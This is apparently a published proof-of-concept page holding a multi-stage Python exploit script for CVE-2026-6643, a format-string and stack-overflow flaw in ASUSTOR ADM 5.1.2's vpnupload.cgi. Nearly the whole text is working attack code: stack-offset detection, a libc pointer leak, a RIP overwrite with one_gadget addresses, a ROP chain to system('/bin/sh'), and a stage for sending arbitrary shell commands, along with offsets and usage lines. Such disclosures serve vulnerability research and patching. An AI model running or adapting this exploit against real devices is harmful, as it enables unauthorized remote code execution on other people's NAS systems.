5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2026-6643 — ASUSTOR ADM 5.1.2 vpnupload.cgi RCE

Exploitation chain:
  1. --stage offset : Auto-detect format string argument index on the stack
  2. --stage leak   : Leak libc pointer from stack, calculate libc base
  3. --stage rce    : Endpoint buffer overflow → one-gadget → shell
  4. --stage shell  : Send command after GOT[printf] has been overwritten with system()

Binary mitigations (vpnupload.cgi):
  No PIE | No Canary | No FORTIFY_SOURCE | Partial RELRO (GOT writable)

Stack layout (Ghidra):
  local_ac4  PrivateKey           rbp-0xac4   (300B)
  local_998  Address              rbp-0x998   (300B)
  local_86c  PublicKey            rbp-0x86c   (300B)
  local_740  ListenPort           rbp-0x740   (300B)
  local_4e8  PresharedKey         rbp-0x4e8   (300B)
  local_3bc  AllowedIPs           rbp-0x3bc   (300B)
  local_290  PersistentKeepalive  rbp-0x290   (300B)
  local_164  Endpoint             rbp-0x164   (300B)  <- closest to RIP
  saved RBP                       rbp+0x000   (8B)
  saved RIP                       rbp+0x008   (8B)    <- target

Endpoint -> RIP distance: 0x164 + 8 = 364 bytes

Null byte constraint:
  sscanf("%s") stops copying at null bytes.
  libc addresses (0x7f...) in little-endian end with 2 null bytes.
  sscanf stops after writing the 6 significant bytes — but bytes 6-7 of
  the saved RIP slot are already 0x0000 (original return address) -> write succeeds.

Usage:
  uv run exploit.py 192.168.1.1:8000 'Revive_Session=abc123' --stage offset
  uv run exploit.py 192.168.1.1:8000 'Revive_Session=abc123' --stage leak --fmt-offset 8
  uv run exploit.py 192.168.1.1:8000 'Revive_Session=abc123' --stage rce --libc-base 0x7f1234560000
"""

import argparse
import re
import struct
import sys

import requests

TARGET   = "http://{host}/portal/apis/settings/vpnupload.cgi?act=upload_wireguard"
BOUNDARY = "XBOUND"

# -- libc offsets — extract from the firmware's libc.so.6 --------------------
#
# How to obtain:
#   readelf -s libc.so.6 | grep -w system
#   strings -a -t x libc.so.6 | grep /bin/sh
#   one_gadget libc.so.6          <- install: gem install one_gadget
#
# Values below are common glibc 2.31 x86-64 defaults; adjust for your firmware:
LIBC_SYSTEM        = 0x055410
LIBC_BINSH         = 0x1B75AA
LIBC_POP_RDI_RET   = 0x026B72   # pop rdi; ret  (libc gadget, no null bytes)
LIBC_RET           = 0x026573   # ret           (stack alignment)
LIBC_ONE_GADGETS   = [0xE3AFE, 0xE3B01, 0xE3B04]

# Byte distance from start of Endpoint buffer to saved RIP
ENDPOINT_TO_RIP = 0x164 + 8   # 364


# -- HTTP transport ------------------------------------------------------------

def _build_conf(privkey="A", address="10.0.0.2/24",
                endpoint="vpn.test.com:51820", allowedips="0.0.0.0/0",
                publickey="BBBBBBBB") -> bytes:
    return (
        "[Interface]\n"
        f"PrivateKey = {privkey}\n"
        f"Address = {address}\n"
        "DNS = 1.1.1.1\n\n"
        "[Peer]\n"
        f"PublicKey = {publickey}\n"
        f"AllowedIPs = {allowedips}\n"
        f"Endpoint = {endpoint}\n"
    ).encode()


def _multipart(conf: bytes) -> tuple[bytes, str]:
    # Parser requires boundary counter = 2; first part is a dummy section
    body = (
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="metadata"; filename="t.conf"\r\n'
        "\r\ndummy\r\n"
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="file"; filename="t.conf"\r\n'
        "\r\n"
    ).encode() + conf + f"\r\n--{BOUNDARY}--\r\n".encode()
    return body, f"multipart/form-data; boundary={BOUNDARY}"


def post(host: str, cookie: str, **fields) -> requests.Response:
    body, ct = _multipart(_build_conf(**fields))
    return requests.post(
        TARGET.format(host=host),
        data=body,
        headers={"Cookie": cookie, "Content-Type": ct},
        timeout=15,
    )


def _echo(response_text: str) -> str | None:
    m = re.search(r'"clientprivatekey"\s*:\s*"([^"]+)"', response_text)
    return m.group(1) if m else None


# -- Stage 1: Auto-detect format string argument offset -----------------------

def stage_offset(host: str, cookie: str) -> int:
    """
    Send AAAA.%N$x for N=1..50 and find where 0x41414141 appears in the echo.
    """
    print("[*] Detecting format string argument offset...")
    for n in range(1, 51):
        resp = post(host, cookie, privkey=f"AAAA.%{n}$x")
        echo = _echo(resp.text)
        if echo and "41414141" in echo:
            print(f"[+] Offset: {n}  (echo: {echo[:60]})")
            return n
    print("[-] Offset not found — verify cookie is valid")
    sys.exit(1)


# -- Stage 2: Leak libc base --------------------------------------------------

def stage_leak(host: str, cookie: str, fmt_offset: int) -> int:
    """
    Read 40 stack words starting from fmt_offset.
    Values in the 0x7f... range are libc pointers.

    Returns the first libc candidate (not the base yet — subtract symbol offset manually).
    """
    count = 40
    fmt = ".".join(f"%{fmt_offset + i}$016lx" for i in range(count))
    resp = post(host, cookie, privkey=fmt)
    echo = _echo(resp.text)
    if not echo:
        print(f"[-] No echo in response: {resp.text[:300]}")
        sys.exit(1)

    words = re.findall(r"[0-9a-f]{16}", echo)
    print(f"[+] Stack dump (args {fmt_offset}..{fmt_offset + count - 1}):")

    libc_hits = []
    for i, w in enumerate(words):
        val = int(w, 16)
        tag = ""
        if 0x7F000000000000 <= val <= 0x7FFFFFFFFFFF:
            tag = "  <- libc candidate"
            libc_hits.append((fmt_offset + i, val))
        print(f"    [{fmt_offset + i:3d}]  {hex(val)}{tag}")

    if not libc_hits:
        print("[-] No libc pointers found — try increasing count or adjusting fmt_offset")
        return 0

    idx, val = libc_hits[0]
    print(f"\n[+] Best candidate: arg[{idx}] = {hex(val)}")
    print(f"    Identify the symbol with gdb/readelf, then:")
    print(f"    libc_base = {hex(val)} - <symbol_offset>")
    print(f"    Then run: --stage rce --libc-base <result>")
    return val


# -- Stage 3: RCE via Endpoint overflow ---------------------------------------

def stage_rce(host: str, cookie: str, libc_base: int):
    """
    Overflow the Endpoint buffer (local_164, rbp-0x164) to overwrite saved RIP.

    Payload layout:
      [364 bytes padding] + [one_gadget address (8 bytes)]
                                 ^ libc address = 0x00007f??????????
                                   first 6 bytes are significant, last 2 = 0x0000
                                   sscanf stops at the null bytes, but those bytes
                                   were already 0x0000 in saved RIP -> write succeeds

    one_gadget calls execve("/bin/sh") directly — no argument setup needed.
    """
    print(f"[*] libc base: {hex(libc_base)}")
    print(f"[*] Endpoint buffer -> RIP offset: {ENDPOINT_TO_RIP} bytes")

    for og in LIBC_ONE_GADGETS:
        target = libc_base + og
        print(f"\n[*] Trying one_gadget +{hex(og)} = {hex(target)}")

        rip_bytes = struct.pack("<Q", target)
        payload   = b"A" * ENDPOINT_TO_RIP + rip_bytes

        try:
            resp = post(host, cookie, endpoint=payload.decode("latin-1"))
            print(f"    HTTP {resp.status_code}")
            if resp.status_code == 200:
                print("    [+] No crash — check your listener")
        except requests.exceptions.ConnectionError:
            print("    Connection reset (wrong gadget or offset)")
        except Exception as e:
            print(f"    {e}")

    print("\n[!] If all gadgets fail:")
    print("    1. Confirm ENDPOINT_TO_RIP with a cyclic pattern + gdb core")
    print("    2. Run: one_gadget libc.so.6  to get correct offsets")
    print("    3. Verify libc_base calculation")


# -- Stage 3b: ROP chain (system + /bin/sh) -----------------------------------

def stage_rce_rop(host: str, cookie: str, libc_base: int):
    """
    Fallback if all one_gadgets fail: pop rdi; ret -> /bin/sh -> ret -> system().

    All gadgets come from libc (0x7f... addresses, no embedded null bytes).
    system() ends with 2 null bytes but is the last value in the chain —
    sscanf stops there after the write has already completed.

    Payload layout:
      [364 bytes padding]     <- fills Endpoint buffer + saved RBP
      [pop rdi; ret]   8B    <- overwrites saved RIP (libc addr, no nulls)
      [/bin/sh addr]   8B    <- rdi argument
      [ret]            8B    <- stack alignment
      [system()]       8B    <- last value; trailing null bytes are harmless
    """
    system  = libc_base + LIBC_SYSTEM
    binsh   = libc_base + LIBC_BINSH
    pop_rdi = libc_base + LIBC_POP_RDI_RET
    ret     = libc_base + LIBC_RET

    print(f"[*] ROP chain:")
    print(f"    pop rdi; ret = {hex(pop_rdi)}")
    print(f"    /bin/sh      = {hex(binsh)}")
    print(f"    ret          = {hex(ret)}")
    print(f"    system()     = {hex(system)}")

    # padding fills up to saved RIP; ROP chain starts at saved RIP
    pad_len = ENDPOINT_TO_RIP
    payload = (
        b"A" * pad_len
        + struct.pack("<Q", pop_rdi)
        + struct.pack("<Q", binsh)
        + struct.pack("<Q", ret)
        + struct.pack("<Q", system)
    )

    print(f"[*] Payload: {len(payload)} bytes -> sending...")
    try:
        resp = post(host, cookie, endpoint=payload.decode("latin-1"))
        print(f"[+] HTTP {resp.status_code}")
    except requests.exceptions.ConnectionError:
        print("[+] Connection reset -> crash or shell spawned")


# -- Stage 4: Command execution (requires prior GOT overwrite) ----------------

def stage_shell(host: str, cookie: str, cmd: str):
    """
    Prerequisite: GOT[printf] must already be overwritten with system().
    This exploit does not implement the %n GOT overwrite stage; use an
    external tool (e.g. pwntools) to perform the write first.

    Once overwritten, printf(user_data) becomes system(user_data).
    The command is placed in the PrivateKey field.
    """
    print("[!] Prerequisite: GOT[printf] must already point to system()")
    print(f"[*] Sending command: {cmd}")
    resp = post(host, cookie, privkey=cmd)
    print(f"[+] HTTP {resp.status_code}")
    print(f"    {resp.text[:400]}")


# -- Banner -------------------------------------------------------------------

def banner():
    cyan, reset = "\033[96m", "\033[0m"
    art = r"""
  _____ __      __ ______          ___    ___   ___     __             __     __   _  _    ____
 / ____|\ \    / /|  ____|        |__ \  / _ \ |__ \   / /            / /    / /  | || |  |___ \
| |      \ \  / / | |__    ______    ) || | | |   ) | / /_   ______  / /_   / /_  | || |_   __) |
| |       \ \/ /  |  __|  |______|  / / | | | |  / / | '_ \ |______|| '_ \ | '_ \ |__   _| |__ <
| |____    \  /   | |____          / /_ | |_| | / /_ | (_) |        | (_) || (_) |   | |   ___) |
 \_____|    \/    |______|        |____| \___/ |____| \___/          \___/  \___/    |_|  |____/
"""
    print(f"{cyan}{art}{reset}")
    print("  ASUSTOR ADM 5.1.2 vpnupload.cgi")
    print("  Format String (CWE-134) + Stack Buffer Overflow (CWE-121) -> RCE")
    print("  by mlgzackfly")
    print()


# -- CLI ----------------------------------------------------------------------

def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-6643 ASUSTOR ADM 5.1.2 RCE",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="Steps: offset -> leak -> rce  (or rce-rop if one_gadget fails)",
    )
    ap.add_argument("host",   help="host:port  e.g. 192.168.1.1:8000")
    ap.add_argument("cookie", help="Session cookie  e.g. 'Revive_Session=abc123'")
    ap.add_argument("--stage",
                    choices=["offset", "leak", "rce", "rce-rop", "shell"],
                    default="offset")
    ap.add_argument("--fmt-offset", type=int,
                    help="Format string argument index (output of --stage offset)")
    ap.add_argument("--libc-base",  type=lambda x: int(x, 0),
                    help="libc base address (calculated from --stage leak)")
    ap.add_argument("--cmd", default="id",
                    help="Command for --stage shell (default: id)")
    banner()
    args = ap.parse_args()

    if args.stage == "offset":
        stage_offset(args.host, args.cookie)

    elif args.stage == "leak":
        off = args.fmt_offset or stage_offset(args.host, args.cookie)
        stage_leak(args.host, args.cookie, off)

    elif args.stage == "rce":
        if not args.libc_base:
            ap.error("--libc-base is required")
        stage_rce(args.host, args.cookie, args.libc_base)

    elif args.stage == "rce-rop":
        if not args.libc_base:
            ap.error("--libc-base is required")
        stage_rce_rop(args.host, args.cookie, args.libc_base)

    elif args.stage == "shell":
        stage_shell(args.host, args.cookie, args.cmd)


if __name__ == "__main__":
    main()